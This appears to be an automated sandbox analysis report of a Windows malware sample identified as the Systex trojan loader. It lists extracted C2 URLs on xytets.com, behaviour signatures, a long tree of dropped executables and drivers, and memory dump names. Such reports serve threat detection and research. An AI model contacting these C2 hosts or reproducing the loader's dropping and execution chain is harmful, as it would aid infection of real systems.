Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
30/07/2026, 03:38
General
- Target 2026-07-30_3d70ae5a545604c56b908b2d44a6d2f1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 376KB
- Sample260730-d7d7aacl61
- SHA256 6923506f9c1694cb5d25562b0ed95dcd57933ea67fdc3f3764971b3cd6dd4b24
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-30_3d70ae5a545604c56b908b2d44a6d2f1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-30_3d70ae5a545604c56b908b2d44a6d2f1_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\wrojhbztrljebwuo.exeC:\Temp\wrojhbztrljebwuo.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\eywrojhbwt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\eywrojhbwt.exeC:\Temp\eywrojhbwt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_eywrojhbwt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_eywrojhbwt.exeC:\Temp\i_eywrojhbwt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywqojgbztr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ywqojgbztr.exeC:\Temp\ywqojgbztr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywqojgbztr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ywqojgbztr.exeC:\Temp\i_ywqojgbztr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tnlgdqoiga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tnlgdqoiga.exeC:\Temp\tnlgdqoiga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tnlgdqoiga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tnlgdqoiga.exeC:\Temp\i_tnlgdqoiga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lfdyvqniga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lfdyvqniga.exeC:\Temp\lfdyvqniga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lfdyvqniga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lfdyvqniga.exeC:\Temp\i_lfdyvqniga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqkidavskf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\sqkidavskf.exeC:\Temp\sqkidavskf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqkidavskf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_sqkidavskf.exeC:\Temp\i_sqkidavskf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ausnkfdxvp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ausnkfdxvp.exeC:\Temp\ausnkfdxvp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ausnkfdxvp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ausnkfdxvp.exeC:\Temp\i_ausnkfdxvp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kecwupmhez.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kecwupmhez.exeC:\Temp\kecwupmhez.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kecwupmhez.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kecwupmhez.exeC:\Temp\i_kecwupmhez.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomhezx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwuomhezx.exeC:\Temp\ecwuomhezx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomhezx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomhezx.exeC:\Temp\i_ecwuomhezx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomgeywroj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uomgeywroj.exeC:\Temp\uomgeywroj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomgeywroj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uomgeywroj.exeC:\Temp\i_uomgeywroj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jeywqoigby.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jeywqoigby.exeC:\Temp\jeywqoigby.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jeywqoigby.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jeywqoigby.exeC:\Temp\i_jeywqoigby.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqoigaytql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vqoigaytql.exeC:\Temp\vqoigaytql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqoigaytql.exe ups_ins3⤵
-
C:\Temp\i_vqoigaytql.exeC:\Temp\i_vqoigaytql.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qlidbvtnlg.exe ups_run3⤵
-
C:\Temp\qlidbvtnlg.exeC:\Temp\qlidbvtnlg.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlg.exe ups_ins3⤵
-
C:\Temp\i_qlidbvtnlg.exeC:\Temp\i_qlidbvtnlg.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\avtnlfdxvq.exe ups_run3⤵
-
C:\Temp\avtnlfdxvq.exeC:\Temp\avtnlfdxvq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_avtnlfdxvq.exe ups_ins3⤵
-
C:\Temp\i_avtnlfdxvq.exeC:\Temp\i_avtnlfdxvq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkfdxvpnhf.exe ups_run3⤵
-
C:\Temp\qkfdxvpnhf.exeC:\Temp\qkfdxvpnhf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkfdxvpnhf.exe ups_ins3⤵
-
C:\Temp\i_qkfdxvpnhf.exeC:\Temp\i_qkfdxvpnhf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxrpkhcau.exe ups_run3⤵
-
C:\Temp\fzxrpkhcau.exeC:\Temp\fzxrpkhcau.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxrpkhcau.exe ups_ins3⤵
-
C:\Temp\i_fzxrpkhcau.exeC:\Temp\i_fzxrpkhcau.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxrpjhcwu.exe ups_run3⤵
-
C:\Temp\fzxrpjhcwu.exeC:\Temp\fzxrpjhcwu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxrpjhcwu.exe ups_ins3⤵
-
C:\Temp\i_fzxrpjhcwu.exeC:\Temp\i_fzxrpjhcwu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomhezwrp.exe ups_run3⤵
-
C:\Temp\wuomhezwrp.exeC:\Temp\wuomhezwrp.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomhezwrp.exe ups_ins3⤵
-
C:\Temp\i_wuomhezwrp.exeC:\Temp\i_wuomhezwrp.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgeywrojh.exe ups_run3⤵
-
C:\Temp\omgeywrojh.exeC:\Temp\omgeywrojh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgeywrojh.exe ups_ins3⤵
-
C:\Temp\i_omgeywrojh.exeC:\Temp\i_omgeywrojh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\eytnlgdywq.exe ups_run3⤵
-
C:\Temp\eytnlgdywq.exeC:\Temp\eytnlgdywq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_eytnlgdywq.exe ups_ins3⤵
-
C:\Temp\i_eytnlgdywq.exeC:\Temp\i_eytnlgdywq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2628 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\wrojhbztrljebwuo.sysC:\Temp\wrojhbztrljebwuo.sys1⤵
- Executes dropped EXE
-
C:\Temp\rljdbwtoey.sysC:\Temp\rljdbwtoey.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbvt.sysC:\Temp\bytrljdbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqlidbvtnl.sysC:\Temp\sqlidbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\dxvpnifays.sysC:\Temp\dxvpnifays.sys1⤵
- Executes dropped EXE
-
C:\Temp\pnhxspkica.sysC:\Temp\pnhxspkica.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxspkhcaus.sysC:\Temp\zxspkhcaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\pjhczurmke.sysC:\Temp\pjhczurmke.sys1⤵
- Executes dropped EXE
-
C:\Temp\bztrmjecwu.sysC:\Temp\bztrmjecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\rojgbztrlj.sysC:\Temp\rojgbztrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\omgeywqojg.sysC:\Temp\omgeywqojg.sys1⤵
- Executes dropped EXE
-
C:\Temp\yvqoigaysq.sysC:\Temp\yvqoigaysq.sys1⤵
-
C:\Temp\igaysqlida.sysC:\Temp\igaysqlida.sys1⤵
-
C:\Temp\xspkicausn.sysC:\Temp\xspkicausn.sys1⤵
-
C:\Temp\usnkfcxvpn.sysC:\Temp\usnkfcxvpn.sys1⤵
-
C:\Temp\mkecxupmhf.sysC:\Temp\mkecxupmhf.sys1⤵
-
C:\Temp\hczurmkecw.sysC:\Temp\hczurmkecw.sys1⤵
-
C:\Temp\ztrmjebwuo.sysC:\Temp\ztrmjebwuo.sys1⤵
-
C:\Temp\trljebwuom.sysC:\Temp\trljebwuom.sys1⤵
-
C:\Temp\ytrljdbvto.sysC:\Temp\ytrljdbvto.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
ausnkfdxvp.exe
bytrljdbvt.sys
dxvpnifays.sys
ecwuomhezx.exe
eywrojhbwt.exe
i_ausnkfdxvp.exe
i_eywrojhbwt.exe
i_kecwupmhez.exe
i_lfdyvqniga.exe
i_sqkidavskf.exe
i_tnlgdqoiga.exe
i_ywqojgbztr.exe
kecwupmhez.exe
lfdyvqniga.exe
pjhczurmke.sys
pnhxspkica.sys
rljdbwtoey.sys
sqkidavskf.exe
sqlidbvtnl.sys
tnlgdqoiga.exe
wrojhbztrljebwuo.exe
wrojhbztrljebwuo.sys
ywqojgbztr.exe
zxspkhcaus.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
memory/400-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/876-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1212-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1420-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1628-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1856-145-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1856-150-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2052-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2576-158-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2588-124-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2764-128-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3000-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3028-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4152-149-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4540-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4616-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4724-154-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4768-132-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4884-140-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5088-141-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5088-136-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5092-120-0x0000000000010000-0x00000000000AB000-memory.dmp